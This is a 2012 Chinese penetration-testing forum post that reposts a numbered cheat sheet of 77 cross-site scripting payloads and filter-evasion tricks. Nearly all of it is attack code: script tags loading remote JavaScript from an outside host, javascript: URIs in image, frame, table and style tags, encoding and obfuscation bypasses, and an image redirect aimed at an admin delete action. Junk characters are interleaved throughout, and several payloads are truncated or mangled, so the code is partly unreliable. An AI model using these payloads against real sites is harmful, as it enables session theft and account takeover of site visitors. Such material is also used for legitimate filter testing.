中国网络渗透测试联盟

标题: xss跨站脚本攻击汇总 [打印本页]

作者: admin    时间: 2012-9-5 14:56
标题: xss跨站脚本攻击汇总
貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。
& ?( l2 V# i' E0 j! e, f4 X/ g: Y* D; v) O3 ?' G
(1)普通的XSS JavaScript注入2 m/ s5 A8 ^% v, |0 y: X( \/ X
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>4 v7 ~! V3 H1 }! q; ~3 z( |( O

' Q$ w0 |* R! D8 V (2)IMG标签XSS使用JavaScript命令
+ y# a" o5 {( p- u" h8 E6 ?% }! S <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>  }. t, t$ l. A  H+ C' S/ V$ U0 {

8 ~4 A- W$ S( j( q( W) z (3)IMG标签无分号无引号" \. h; n( \$ K6 m
<IMG SRC=javascript:alert(‘XSS’)>6 x9 A, j' j! p8 E) M3 e8 |

' `( r7 P7 ]& G; n# v$ R (4)IMG标签大小写不敏感
7 ^) I9 b; o* X7 n <IMG SRC=JaVaScRiPt:alert(‘XSS’)>
( ]! J1 r; m$ \% B7 [. \
# B( O  N* h7 v4 o! T (5)HTML编码(必须有分号)
; K! Z( j4 Q! C7 r <IMG SRC=javascript:alert(“XSS”)>1 j+ W( y. E* T# J

4 `0 W! o  e: k) a% W( N" a (6)修正缺陷IMG标签
$ P+ \# p2 {* P- L5 K4 W! x+ J <IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>2 P, V% [6 |. Y! ?& x  I
0 Z& j7 B: L& X" d; n3 u9 l1 |
(7)formCharCode标签(计算器)( [- Y& u! Y$ C/ n9 H  Z' |9 v6 `
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>  m6 k: I  S0 R$ w

$ h0 }, p+ X% Z: Y5 i8 A  G3 z (8)UTF-8的Unicode编码(计算器)
3 d. d3 N3 v- g# v <IMG SRC=jav..省略..S')># H2 K; r2 S, O/ \( K( [
, C4 X9 }" n3 H* I+ t" O
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)1 @& |  D$ S+ ?7 c+ t* v
<IMG SRC=jav..省略..S')>
* z0 @4 G* `( r0 e# E4 F' @% x' D8 M5 p+ E0 v, m
(10)十六进制编码也是没有分号(计算器)& S! k/ [! }8 W. Y) M4 n2 }. ?, {
<IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>' G# z  c* K! H+ @4 |9 m: L& O
5 J6 F7 o4 \) o7 e2 x1 e" G2 I
(11)嵌入式标签,将Javascript分开4 [* T2 U( }  ?
<IMG SRC=”jav ascript:alert(‘XSS’);”>1 Q1 m* J4 F1 `. I, j
" S. J! H- X& B3 l- \
(12)嵌入式编码标签,将Javascript分开! ?+ o1 W2 W2 j, @7 ?
<IMG SRC=”jav ascript:alert(‘XSS’);”>1 _2 q; v. |3 E) c+ n+ u( M, j
( w5 G/ o! z! b% y4 |% u; O5 n
(13)嵌入式换行符5 Y+ {+ x+ a4 e8 K6 x8 c/ ~
<IMG SRC=”jav ascript:alert(‘XSS’);”>
! P, t$ Z  {$ X  z7 v- z; Y. b/ z5 Q# q. p
(14)嵌入式回车1 X' ~: `& [$ [) I) y8 Y/ h4 v% t
<IMG SRC=”jav ascript:alert(‘XSS’);”>
0 n- o/ |9 _" E5 O" k9 \- b5 w: `$ w. @8 t6 k: k; t
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
$ m  ~- W5 y- q6 P6 ]3 V <IMG SRC=”javascript:alert(‘XSS‘)”>! W" ~8 e, m& r; p# x$ U

3 e" h4 [$ `4 |5 d9 I (16)解决限制字符(要求同页面)$ l; S) U7 B  i1 e9 z: E
<script>z=’document.’</script>3 }% _9 G  q/ W9 ^9 C; r( M5 i- C
<script>z=z+’write(“‘</script>
6 O0 k& U+ S. f& F9 s <script>z=z+’<script’</script>
* r# C0 T, z+ Y2 q. v <script>z=z+’ src=ht’</script>; M$ y$ h0 ]9 e! ]9 F: |" M! Y5 L, u# u
<script>z=z+’tp://ww’</script>
/ L- k2 `; {- h" }8 _& g <script>z=z+’w.shell’</script>  J$ u, e+ O) k! z  f3 c
<script>z=z+’.net/1.’</script>
: Y  l3 y) f: T <script>z=z+’js></sc’</script>2 i9 A0 O3 O. p* p& s  z; K
<script>z=z+’ript>”)’</script>  L+ O4 w% }% v* d5 l
<script>eval_r(z)</script>1 u9 w. ?7 J  s2 D; K
+ l$ Y3 ~+ u$ [# Y
(17)空字符2 @6 ^8 B9 Q( @; O# K4 h
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
+ ?' M- B5 X8 h9 Z1 U) g* z4 h% }3 p- N! a0 E* h: h
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
, |: x* `: D- _. b perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out& R" s; q7 M: }* I, z" o- ?; K- H

3 A8 ^1 d! w8 @2 L: u7 M" | (19)Spaces和meta前的IMG标签
  A. I3 k' B+ i& }/ P <IMG SRC=”   javascript:alert(‘XSS’);”>; Y+ \$ C5 @8 I0 h% B9 c0 x& v
8 b* `( w+ D$ D+ L  E# R/ |
(20)Non-alpha-non-digit XSS5 L% W3 L* t$ @, @
<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
) W  P( H8 ]  ]5 a; e0 Z
6 Z6 I9 x0 l! e2 w. v3 [ (21)Non-alpha-non-digit XSS to 2+ }! |0 J0 Z! C
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
$ M/ P2 r2 l: B  r5 ~  z+ X3 @3 m# [3 T( T8 b, X
(22)Non-alpha-non-digit XSS to 3
. A4 s7 y4 g2 R8 x7 F <SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>9 p/ C* @1 ]* @% Q0 U

5 K$ r1 I/ x* S+ j: K1 j! H! m (23)双开括号
1 K& c6 z- O" a) W( J9 @8 N' I6 p3 ^ <<SCRIPT>alert(“XSS”);//<</SCRIPT>
; j4 s* f! Y0 j; \  r3 ~0 h0 F& ~# w! E
(24)无结束脚本标记(仅火狐等浏览器)4 R5 f  s' f( y7 C. ~% ]" m$ I: g
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
, Z/ N# @/ Z# Z" w: }4 F
+ W) R8 `2 K0 Q$ P* R (25)无结束脚本标记2
+ p) C0 Y. `  @3 N' U <SCRIPT SRC=//3w.org/XSS/xss.js>
. m# Q7 W' J7 F8 `% y
0 z* M4 T# Z' i8 Q (26)半开的HTML/JavaScript XSS) o# Q  A# v" a* P  n
<IMG SRC=”javascript:alert(‘XSS’)”) k8 W3 _- P& T% g- n7 [
! {1 z- y% B+ y0 J7 g+ h: E1 _2 ^8 D
(27)双开角括号  f) u8 v1 K/ t) C, @
<iframe src=http://3w.org/XSS.html </ d/ |6 ?4 M! b9 R
6 O! x+ u+ J; O5 ?4 v8 f# C
(28)无单引号 双引号 分号# M- r* @+ ?6 Y
<SCRIPT>a=/XSS/3 E% S" s0 h8 O) \
alert(a.source)</SCRIPT>
8 \0 }1 f( t* z# @% P: m
* w: T$ C3 y  y' H8 s5 g, z7 H (29)换码过滤的JavaScript
0 p# H0 x/ G; n8 x/ H. U0 q \”;alert(‘XSS’);//
5 T9 M2 |7 e$ J6 ?$ z
6 h. |2 [  d5 V% o (30)结束Title标签3 p/ i% |( ?. y6 Q/ `# s- Y! y" s
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
0 K/ e' P2 n, o& W- P/ o
% l0 S. X6 Q9 q  ~& Y (31)Input Image
& u+ l+ ]$ d2 U0 X0 v <INPUT SRC=”javascript:alert(‘XSS’);”>) q, n+ \) M; E5 n

# @3 K; N  d# k (32)BODY Image
* @" i7 q+ C5 m, D& g, {6 J$ L% U <BODY BACKGROUND=”javascript:alert(‘XSS’)”>7 S) I5 V6 a* h0 R, j- \' w5 Y7 W' S

# x/ g# G* g) Q0 q+ A& T* }4 a (33)BODY标签0 r* t7 u) Q" h6 _4 W) Q& E) E" D! [& f
<BODY(‘XSS’)>6 H6 o9 B: K4 c4 M1 \  F
& r. P: ]6 g+ x+ l( B3 W& |( h" b( V
(34)IMG Dynsrc2 D" o- q6 z% F3 [
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
1 `6 D+ v' L3 H0 n: [7 Z; t4 d4 n( r* R4 u# T6 r# G* r1 `
(35)IMG Lowsrc
3 s  w$ r5 e! r <IMG LOWSRC=”javascript:alert(‘XSS’)”>  m, R3 d2 ~' ^

. b" M! U3 `. J (36)BGSOUND/ I4 I( O1 I- b$ ?0 ?. m( {
<BGSOUND SRC=”javascript:alert(‘XSS’);”>6 |7 Z  x& C$ R+ U
- u4 f, q( m* b# ]2 Z7 X- L; @
(37)STYLE sheet$ j# D$ F3 v9 `4 T- r
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>5 v& B8 f# X. z
8 E* b" X; X6 e( |
(38)远程样式表
$ m5 n: U4 E  ?! r' q% O <LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
, _8 d0 D5 s+ I3 @1 z1 s9 {( C
% y5 d+ f) [' D8 D (39)List-style-image(列表式)
2 e2 Z+ a# |' A- K <STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS  F8 ?. \/ I! I$ U
5 X4 }' P5 W! Q* h' J) Z
(40)IMG VBscript
/ M4 a/ K- ]* _  V& H <IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS' ^6 d" ^  V. }2 ~6 ^3 H

# z. `3 G3 a& |; O (41)META链接url
3 o& T0 G! }4 o1 w <META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
9 K+ o' S; i$ u( C
' f- ]" ^. {$ v. n1 |& G, G2 S (42)Iframe
4 ^3 {: P' |+ X5 E# _; e) \8 q <IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
0 o2 D1 C% u  c: Y7 E( u( k* w" a  P8 N  z
(43)Frame
' e; f3 q8 u5 i3 A$ e( k8 W <FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>5 W8 |  \/ ~5 q* S) L. y

5 F; C. z1 ?: ?7 I# r( w2 x) w (44)Table
5 m8 n2 D& ^, m: F0 X <TABLE BACKGROUND=”javascript:alert(‘XSS’)”>6 Q: C( K2 b2 v" M
/ ~" v. h# D* s# y
(45)TD
8 C; c/ A* X" B$ b' S& P <TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>9 R4 U3 D, g/ T; v0 N5 P9 `- z
2 b2 Z: L2 A+ b% ?
(46)DIV background-image
4 d( z+ u7 y# o <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
7 D& }4 {" z; j3 M/ A: {) x. O# V5 v; e% b0 t( J
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
% W/ U9 U; r. ~0 Y8 A4 n <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>6 {4 y2 |/ Y" |& w

5 e6 M' @4 p' T; Q! p! r (48)DIV expression6 v& F" |! U8 g7 z. J
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>9 _4 E- {  e) }8 ]# i

, F4 \! G( {9 j2 ^8 P4 `$ Z# E (49)STYLE属性分拆表达
0 c8 R; G# a+ n1 |  z <IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
4 b6 J) v, S% @' ?$ J: ^- M8 y& U
# {) ^1 `# K% t% O (50)匿名STYLE(组成:开角号和一个字母开头)6 C& o! c4 x& B, {/ g' _9 c
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>) }) g+ A5 c/ k4 p

, y" t: V0 t, C2 t2 \5 J1 j (51)STYLE background-image
3 Z. a) \4 z8 A& }/ [+ S <STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
5 b7 ?9 S* w% d# w/ x' ~- v: a# J; Q! x7 k0 L' B/ d, ^
(52)IMG STYLE方式
4 _2 d3 L! u: F  l; C exppression(alert(“XSS”))’>; q4 P' ~# n2 W2 S% G+ j" e, M  `7 ^5 e  X

; J" b; I) g: b7 e7 B- A  _8 r3 P (53)STYLE background. y1 ]& t  w/ I) t
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>1 Q. o- p, l) z8 @% W

; y. X. O* R' Y0 D6 m4 h( O4 B* b (54)BASE  J5 f  Q! x6 D, U  c* D3 \
<BASE HREF=”javascript:alert(‘XSS’);//”>
; c3 s+ c4 p7 J" W6 @; O( z+ D+ E% d0 A8 g, l
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS5 `* Z, S8 x0 ~
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>
4 A9 C! ~$ y- `4 L: Y  a: {
$ c0 p: E: f1 { (56)在flash中使用ActionScrpt可以混进你XSS的代码
& N( b. f' B7 S7 q6 [ a=”get”;5 S1 _* Q0 x; o1 ?9 X
b=”URL(\”";
9 S" V6 N9 j4 m0 N5 ] c=”javascript:”;7 k4 b3 r% u2 C% s
d=”alert(‘XSS’);\”)”;
" |1 M* I+ _+ K1 j7 i/ |$ |/ V eval_r(a+b+c+d);
7 ]% A& L1 X' e) {6 l  o; M* K
  C( U% K3 i9 N2 v% n8 t5 \ (57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上9 v1 ]* x  M& v9 @, g/ H9 Q
<HTML xmlns:xss>2 n/ n; N  y. B/ J  C& @
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>
( S( {' f/ `- v2 K3 ?8 j% j <xss:xss>XSS</xss:xss>
% P0 ?& d6 |) d </HTML>
# U0 U. w3 a; U& k3 P  T( F& `6 a
( j4 ~' l" t# p: B$ V4 @0 ]6 P0 v (58)如果过滤了你的JS你可以在图片里添加JS代码来利用
# i' C* u% j  u( t <SCRIPT SRC=””></SCRIPT>
$ v+ r# t% ~. a1 J% V* F: {8 i7 o( t. z! a! M# R: [# l2 X, q
(59)IMG嵌入式命令,可执行任意命令* D7 P0 G6 Y0 i( X) D# m; Y7 T; u# I
<IMG SRC=”http://www.XXX.com/a.php?a=b”>
# ~/ f& J4 _$ w% o9 D% |: K' D* J* I1 f
. v+ S5 j) F7 K (60)IMG嵌入式命令(a.jpg在同服务器). k. a7 Y) Z3 m$ Q
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser; Y3 r" u# |6 a; X1 o( Q9 x
7 D* K* x3 o/ z/ A0 k
(61)绕符号过滤
' Z) t; W% n4 } <SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>
* i# @& f' d7 ?
* K: h, m; o; h: x (62)7 W( A. |. d7 a3 i
<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>
4 j  P# ~0 b8 m) a, }' A, C3 D4 O$ N2 l8 Z7 i
(63)
: D0 D& a1 h& Y- W0 n& @( g4 [ <SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>
' D' g' V/ e/ x) r* ^
8 @, i* ^3 X% q7 O  Q$ M3 m: C/ U (64)
) T9 H, g; M2 `  ~ <SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>5 `& ]% d& U# V3 h! T/ S6 }+ M( @
* X/ b& n9 @% m% H/ b
(65)
9 T& M& s2 K2 Y/ o# N5 G8 l, ^ <SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>8 h8 x9 n& W8 B; p( x
$ w, L) ^: X. E1 w4 V" W! f1 Y
(66)8 R5 M1 O7 Q4 o3 `9 ?
<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>
5 W% F/ M( c( p0 f! F% g$ i4 T  J$ m: b- c% p. P$ u1 R
(67); j% u& F5 w, R' P* A0 b. M1 }8 |% z
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>
% Y( q' F* h5 _0 M8 {) f5 q# P
& e- \1 r7 K+ u (68)URL绕行, Z& T/ ?% ?3 C1 K5 K3 V
<A HREF=”http://127.0.0.1/”>XSS</A>) u& k; v% \: c3 D+ T7 f
, v& [5 y; ^6 S2 V6 Q. r+ }. I
(69)URL编码& C" M9 Q% C2 ~/ n9 H3 O$ A
<A HREF=”http://3w.org”>XSS</A>
3 b" X0 R$ P  n5 q9 z( O; K
: @) L' Y6 {+ k' |% V (70)IP十进制
2 f4 ?0 S2 T3 q8 S9 O <A HREF=”http://3232235521″>XSS</A>
& e) U# N! |( C/ z" l
5 N" M) ]: o3 s/ _ (71)IP十六进制) B* n5 P% U5 c& E, v% p1 U' y
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
3 o; s& k. Y* Y$ D' b
  j# C, ?- I& p0 r! G9 W (72)IP八进制- G% T) G6 h0 r( r( G
<A HREF=”http://0300.0250.0000.0001″>XSS</A>
0 z- o* Z! m3 I# l/ b
/ L3 x( B; E: u6 x- a0 }5 |, u (73)混合编码) o! E  @* i9 p8 M/ @
<A HREF=”h
. O6 U1 D" L# v7 ]3 A* M8 m tt p://6 6.000146.0×7.147/”">XSS</A>- `$ C, V5 U; S* ^4 A
' b# E0 V# [4 W% z9 B
(74)节省[http:]
7 ~, C: |% o5 s1 A/ R <A HREF=”//www.google.com/”>XSS</A>
% f3 b+ O1 {" |& Q5 o! `, ]' v1 ?
& u+ x8 c- F. x4 i/ K  V (75)节省[www]
  n% s) }( e; y# v1 }# J1 K3 J <A HREF=”http://google.com/”>XSS</A>; k( \$ p/ {5 B' j' G# @
+ H) l: m6 z% I( R$ @2 }# n+ {" J  Q
(76)绝对点绝对DNS
- s8 Z* q+ B9 H3 n) V" P <A HREF=”http://www.google.com./”>XSS</A>: ]9 }9 z, ~) ~( q1 c9 |- k5 d6 C
) z' ~8 Q8 ]: S- P: _
(77)javascript链接) c" F8 ]/ Z9 O2 t! A3 v
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2